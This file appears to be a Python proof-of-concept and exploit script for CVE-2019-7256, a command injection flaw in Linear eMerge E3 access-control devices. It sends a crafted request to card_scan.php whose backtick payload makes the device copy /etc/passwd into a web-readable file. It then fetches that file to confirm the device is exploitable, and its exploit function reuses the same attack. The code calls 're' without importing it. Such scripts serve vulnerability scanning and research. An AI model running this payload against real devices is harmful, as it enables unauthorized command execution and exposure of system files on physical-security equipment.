CVE-2019-7256.py

import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''eMerge E3 1.00-06 - Remote Code Execution''',
        "description": '''Linear eMerge E3-Series devices allow Command Injections.''',
        "severity": "critical",
        "references": [
            "https://www.exploit-db.com/exploits/47619", 
            "http://linear-solutions.com/nsc_family/e3-series/"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2019-7256",
            "cwe-id": "CWE-78"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2019", "emerge", "rce"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20nuclei.txt%60"""
        method = "GET"
        data = """"""
        headers = {}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/nuclei.txt"""
        method = "GET"
        data = """"""
        headers = {}
        resp1 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if (resp1.status_code == 200) and (re.search(r"""root:.*:0:0:""",resp1.text)):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url